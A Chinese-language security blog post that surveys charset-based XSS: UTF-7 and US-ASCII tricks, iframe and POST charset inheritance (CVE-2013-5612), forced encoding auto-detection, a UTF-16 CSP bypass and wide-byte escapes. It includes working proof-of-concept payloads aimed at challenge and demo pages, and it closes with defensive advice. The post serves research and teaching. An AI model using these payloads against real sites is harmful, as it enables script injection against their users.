在文章的開頭,我想對上次發布了一個結論及其離譜但還算及時被刪除了的 文章(關于跨域字符集繼承的那篇)道個歉。也希望沒有測試就去轉載的那些人,可以把那個文章刪除了。防止更多人對跨域字符集產生了錯誤的理解。不過作為謝罪,我也又重新整理了一篇文章,這也是一直以特別想寫的一篇。但是覺得這個題目對我來說還是有點大,所以就一直沒有下的去手。不過吹過的牛逼早晚都是要兌現的,早死早超生,所以就硬著頭皮去寫吧>.<
。我也不扯 那些字符集是什么之類的了,讓我們通過一個接一個的例子一起進入 XSS 和字符集所創造的世界吧。
在開始之前,先對 UTF-7 做一個簡單的介紹吧。UTF-7 是可以將所有的 unicode 通過 7bit 來表示的一種字符集。早期多數被利用在郵件環境當中,但現在已經從 Unicode 規格中移除。這個字符集為了通過 7bit 來表示所有的文字, 除去數字和一部分的符號,其它的部分將都以 base64 編碼為基礎的方式呈現。 比如:
#!html
<div> 我了個去!</div>
用 UTF-7 表示,就是:
+ADw-div+AD4- +YhFOhk4qU7v/AQ- +Adw-/div+AD4-
同樣的,
#!html
<script> alert("xss") </script>
就會變成:
+ADw-script+AD4- alert(+ACI-xss+ACI-) +ADw-/script+AD4-
從上面的例子當中,不難看我們的代碼中并沒有出現我們期待的那種形式的” <”,”>”
或雙引號。但是我們要怎么將這種情況和 XSS 聯系起來呢?大致的情 況可以分為 3 類:
#!html
<html>
<head><title>test page</title></head>
<body>
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
</body>
</html>
一種情況是,IE 的編碼設置為自動檢測,IE 就會跟據一些 BOM 字符,比如 +ADw-來判斷當前頁面的編碼為 UTF-7(現在已經不適用了)。
另外一種情況就是雖然 IE 沒有勾選自動檢測字符集的設置,但是我們可以通過制作一個字符集為 UTF-7 的頁面,并通過 Iframe 來包含我們的目標頁面, 通過字符集繼承漏洞來實現字符集的設定。
<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://example.com/target.html'></iframe>
不過遺憾是在,在現在已經沒有這種基于 iframe 的跨域字符集繼承的漏洞 可利用了。MK 在不久前也指正了某人在 Slide 中這種的錯誤。
簡短的翻譯一下,就是說:『如果在你的 Slide 中所說的通過 iframe 來設定字符集是指,繼承 top frame 的字符集,那么現在已經不存在這種問題了。因為這種繼承的大前提是必須同域。』
其實在一篇被刪除的文章當中(筆者的測試方法有問題,得到結論都是錯誤的所以自覺提出刪除),/fd 同學表示 utf8 也是標準。但它以前可不是標準。但是為什么 utf-8 和 utf8 都變成了標準呢?因為總會有粗心的人犯下這樣的錯誤,比如:
把 UTF-8 寫成 UTF8
把 EUC-JP 寫成 EUC
? 這種設置方法在以前是無法被瀏覽器所識別的。換句話來說就和沒有設置字符集是一樣的。具體利用方法可以參考第一種。
標簽之前,且字符集是由 meta 標簽所指定的
大概的場景可以像這樣(輸出點在 title 內,meta 之前):
#!html
<html>
<head>
<title>輸出</title>
<meta http-equiv="content-type" content="text/html;charset=UTF-8">
</head>
由于上述的 BOM 和基于 iframe 的字符集繼承現在都已經不能利用了。所以在情況三下我們可以考慮先插入一個
#!html
</title><meta charset=utf-7>
其實基于 US-ASCII 的 XSS 和基于 UTF-7 的 XSS 有很多的類似之處。它也同樣是通過 7bit 來表示數字和少數符號的字符集。可以用來表示從 0x00 到 0x7F 的 128 種文字。但如果你試圖用 Internet Explorer 來打開一個內容是通過 US-ASCII 來記述的文檔時,你會發現這個字符集不單是只會解析從 0x00 到 0x7F 的文字。即使是 0x80 到 0xFF 這個范圍中無法通過 7bit 來表示的字符,也會通過忽略最上位的bit的方法生成一些和0x00~0x7F等價的字符。
也就是說在這個字符集當中:
雙引號 0x22 等價于 0xA2
左尖括號 0x3C 等價于 0xBC
右尖括號 0x3E則等價于0xBE
比如,你把下面的這一段通過保存成 html,編碼選 shift_jis(如果是記事本的可以用 ANSI)
#!html
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=us-ascii"> </head>
<body>
シ script セ alert(document.charset)シ/script セ
</body>
</html>
注釋:シ和セ在 shift_JIS 當中分別是 0xBC 和 0xBE
然后,再用 Internet Explorer 打開它,那么最終你會看到小窗口彈起來了。
在看完前面的兩個字符集后,我們會發現這兩個字符集的一個共同點,就是 都沒有出現”<”,”>”
或雙引號。這不難讓我們聯想到 PHP 中 htmlspecialchars()的 繞過。雖然接下來會提到的 iframe 跨域字符集繼承漏洞已經不能再利用了,但是在下文中我會提出可以復現這個漏洞的具體環境。
這是在 kotowicz 的博客當中 2010 年提到的一個 XSS hackme challenge 的解決方案。challenge 的主要目的就是繞過 htmlspecialchars()這個函數來實現 XSS。 而且重要的是這個頁面并沒有通過 response header 或 meta 來設置字符集。
筆者一開始提到可以做出這樣的一個 POC:
#!html
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-7">
</head>
<body>
<iframe width=500 height=600 src="http://kotowicz.net/shoutbox/shoutbox.php"></iframe>
</body>
</html>
大概意思就是在 IE6 那個年代,字符集繼承問題橫行,我們只需要一個 iframe 就能完成這個挑戰(我沒有在 playonlinux 里的 IE6 里復現成功,所以可能你需要足夠古老的環境來重現這個問題)。筆者提到對于 IE8 來說,我們只能繼承同域的字符集(iframe)。但是那個時候有一個小的 BUG 可以用來欺騙瀏覽器。
大致思路如下:
#!html
// utf7exploit.html
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-7">
</head>
<body>
<iframe width=500 height=600 src="redirect.php"></iframe>
</body>
</html>
// redirect.php
<?php
header("Location: http://path.to/shoutbox.php");
?>
包含一個同域的文件,并在那個文件里通過 header(Location:somedomain)來進行跳轉進而繞過不同域 iframe 不能繼承字符集的限制。(>.<
那是個多么美好的年代啊)。不過遺憾的是后來這個漏洞也被補了。如果你想親自體驗一吧。可能需要你在winxp sp2+ IE7 的環境下進行復現。
在我們對跨域的字符集繼承問題的嚴重性有了一定的了解之后。讓我們再看看日本的猥瑣流是怎么玩的吧。這是 MK 在完成 ZDResearch 出的一個 XSS 挑戰時所用到的一個漏洞。(CVE2013-5612)
在 Firefox26 之前的版本下,如果對沒有進行 charset 設定的頁面通過 POST 發送請求,那么即使是在不同域的情況下也會繼承發送頁面的 charset 導致可以被 XSS 攻擊所利用。換句話來說,我們可以從任意頁面發送 post 請求,來對沒有設置 charset 的頁面,進行 charset 的任意設定。
下面是 ZDResearch 的 XSS 挑戰(沒有設置 charset): ??? https://zdresearch.com/challenges/xss1/
這是 MK 構造的 POST 頁面:
http://l0.cm/zdresearch_xss_challenge.html
具體的 POC 代碼如下:
#!html
<meta charset="iso-2022-kr">
<form action="https://zdresearch.com/challenges/xss1/" method="post">
<input name="XSS" value="<h1 a=>onmouseover=location='jav\x41script\x3Aalert\x28"MK"\x29' >xxx">
<input type="submit" value="go">
</form>
當我們通過 charset 為 iso-2022-kr 的頁面向 https://zdresearch.com/challenges/xss1/發送 POST 請求時,目標頁面會繼承我們的 charset。由于字符集[ISO-2022-KR]中會把以
開頭
結尾的一串字符看作是 2 bytes 也就是一個字符導致最終成功的 插入 onmouseover 到目標頁面當中。兩個字......漂亮!
寫到這里 iframe 也玩過了,POST 也試過了。還有別的?當然有!還是來自 MK 博客中的一篇文章,【強制喚起 Internet Explorer 的自動檢測編碼功能】。
測試環境:Windows Vista sp2 IE9
重現方法:通過制作特定的頁面來強制喚起自動檢測編碼功能
#!html
<script>
function go(){
window.open("http://vulnerabledoma.in/r_slow?url=http://target/","x")//順序 1
window.open("http://vulnerabledoma.in/h_back.html","x")// 順序2
}
</script>
<button onlclick=go()>go</button>
因為這些頁面都是存在的,所以感興趣的話,你可以自己一個一個的打開看看里邊都寫了一些什么。其中可能比較讓人沒法理解的地方是順序 1 里邊的跳 轉會有一點延遲。可以訪問這個頁面自己感受一下 http://vulnerabledoma.in/r_slow?url=https://www.google.com/ 這是因為如果在目標頁面還沒有被完全加載完之前就嘗 試去返回無法實現亂碼(mojibake)。然而稍微加點延遲再跳轉就可以完美的解決這個問題。
亂碼了是安全問題么?也許是的。因為在這種情況下你只要在目標頁面的某一個輸出點制造一個某字符集才特有的輸出,那么根據這個 POC,目標頁面會 根據你特定的輸出而變換字符集最終導致漏洞的產生。(比如包含[0x1B]$)C 就有可能讓頁面的編碼成為 ISO-2022-KR)。最終,MK 也通過這一方法從 Google 的口袋里得到了 500 刀。別人拿了多少錢對我們來說固然不重要,但這應該可以從側面證明這種漏洞的可行性和價值。
字符集似乎什么都能干。繞過了 htmlspecialchars 函數,幫助黑客們刷 了一個又一個的 CVE,還順帶完成了一些挑戰整了點奶粉錢。但是字符集能做 的還遠不及這些。就讓我們再來看看這個基于字符集的 CSP 繞過吧。(依然來 自 MK 的博客)
當然使用這種方法有一些先決的條件:
? HTTPResponseHeader沒有設置charset ? 允許我們在目標頁面內植入 0x00 ? 我們的輸入在將位于輸出點之前的文字轉成 UTF-16(BE/LE)時,那段字符串可以做 javascript 的函數來使用
這個場景是不是有點太挑剔了呢,哈哈!所以我自己做了一個這樣的頁面。
你可以假想一下這是一個存在存儲型 XSS 漏洞的頁面,并且被植入了一些 script。
下面是具體的 POC 頁面: http://vulnerabledoma.in/csp_utf16
烏云社區里/fd 發起的 CSP 挑戰也和這個有很大的相似之處。最終/fd 也在帖子 里給出了自己的解決方案。感興趣的話,可以去看看。 ???? http://zone.wooyun.org/content/10596
有時候字符就像幽靈一樣,我們并不能感覺到它的存在。比如老版本的 Firefox 會忽視 0x80,老版本的 IE 會忽視 0x00。這無疑是個讓人很頭疼的問題, 因為對于過濾器來說 script 可不等于 s[0x00]cript
。又比如在 chrome 當中會忽略一些位置上的字符(這個現在也能用):
<a href="javascript:alert(1)">asd</a>
有時候它不但會默默的存在,而會去破壞一些什么,比如下面的例子:
#!html
<html>
<head>
<title>testsuite</title>
<meta charset="gb2312">
</head>
<body>
<script>
var q="<?php echo str_replace("</","<\/",addslashes($_GET["test"])); ?>"; </script>
</body>
</html>
如果我們運用寬字節就可以突破這里的限制:
??
但這種問題,只會出現在 GBK 里面么?其實這樣的字符集還有很多。下面就是一個 Shift_JIS 的例子。將上面的代碼中的字符集改成 shift_JIS 后的測試結果如下:
有問題的字符集還遠遠不止這些。在這次東京舉行的 OWASP 國際峰會上,日本人 Masato kinugawa 的議題“編碼和安全的徹底調查”當中就提交到了很多這樣 的問題。下面對這個議題的內容做一下簡單的介紹。
(1)各瀏覽器對字符集支持情況的調查
作者事先收集了將近 2500 個左右像字符集編碼名稱的文字,并通過測試,對結果進行了三種分類。分別為字符集名,別名和無法識別的字符。其中的調查方法細節可以參考下面的鏈接:
http://masatokinugawa.l0.cm/2013/03/browser-‐support-‐encodings-‐list.html
經測試發現瀏覽器正在支持許多平時不回被用到的字符集。下面是字符集正式明和別名的一覽:
然后是各瀏覽器對字符集的支持情況:
由于內容比較多,這里只附上部分貼圖(上圖為 chrome 的支持情況): 下圖為 IE 的支持情況:
就像前面所提及到的 MK 也認為其中最兇殘的還是 UTF-7。因為一般的過濾方法根本無法攔截這種 XSS 攻擊。而且悲催的是直到 IE11 微軟還依然在支持著這個編碼。不過好消息是微軟正在探討是否會在接下來的 IE12 當中移除對 UTF-7 的支持。
在完成了對各個瀏覽器的編碼支持情況的調查之后,MK 又對這些編碼進行了各種各樣的測試。
將歷史上出現過問題的部分作為參考,對字符集進行下面三種測試:
{TEST1} 特定的 byte 最后會變成特別的字符。
{TEST2} 特定的 byte 會破壞緊隨其后的文字。
{TEST3}特定的 byte 會被忽略。
TEST1 的部分測試結果:
??
注釋:其中第一列位瀏覽器,第二列為字符集,第三列為測試的 byte,第四列為呈現的字符。
TEST2 的部分測試結果:
注釋:其中第一列位瀏覽器,第二列為字符集,第三列為具有破壞性的 byte,,第四列具體破 壞的 byte 數。
TEST3 的部分測試結果
注釋:其中第一列位瀏覽器,第二列為字符集,第三列為會被忽視的 byte
如果想查看這三項測試的完整結果,可以看這里:http://l0.cm/encodings/
最后讓我們來看看使用這些字符集特性都可以干一些什么吧.
Chrome 的 Anti-XSS 功能繞過實例:
IE 的 Anti-XSS 功能繞過實例:
注釋:具體操作方法就是手動切換編碼至 shift_jis(具體可以翻閱前面給出的 shift_jis 的例子)
雖然這不算是漏洞,但這依然是一個問題。這種問題和你有沒有設置字符集無關。而且對于這種問題,很難去進行應對。對于一般用戶來說,他們根本無法想象只是因為自己切換了編碼,就有可能被攻擊。但是,值得慶幸的是 NoScript 可以檢測出這種問題^_^。
可以看到一個簡單的字符集,可能產生各種你意想不到的問題。雖然本文一直在圍繞著 XSS 去闡述其可能產生的安全問題。但是我們都知道實際上的影響面可不止這一些。作為廠商我覺得也應該重視起這個問題,盡量在所有的頁面都設置 charset,條件允許的情況下最好是通過 HTTP Response Header,而不單是通過 meta 標簽。作為用戶,向上述的基于編碼切換的 XSS 問題也應該引起重視。如果你是 Firefox 用戶,建議安裝 NoScript 進行防御。不要輕易去聽信他人的誘導在一些頁面上做切換編碼的操作。文中如果出現了錯誤,還希望大家能指出來。這樣可以讓我學到更多,也可以防止更多的人學到錯誤的東西。
http://gihyo.jp/admin/serial/01/charcode http://blog.kotowicz.net/2010/10/xss-hackme-challenge-solution-part-2.html http://www.slideshare.net/ockeghem/owasp20134021-x https://speakerdeck.com/appsecapac2014/the-complete-investigation-of-encoding-an d-security http://masatokinugawa.l0.cm/2013/12/CVE-2013-5612-encoding-inheritance-xss.htm l http://masatokinugawa.l0.cm/2013/11/MS13-037-encoding-xss.html http://masatokinugawa.l0.cm/2012/12/encoding-self-xss.html http://masatokinugawa.l0.cm/2012/05/utf-16content-security-policy.html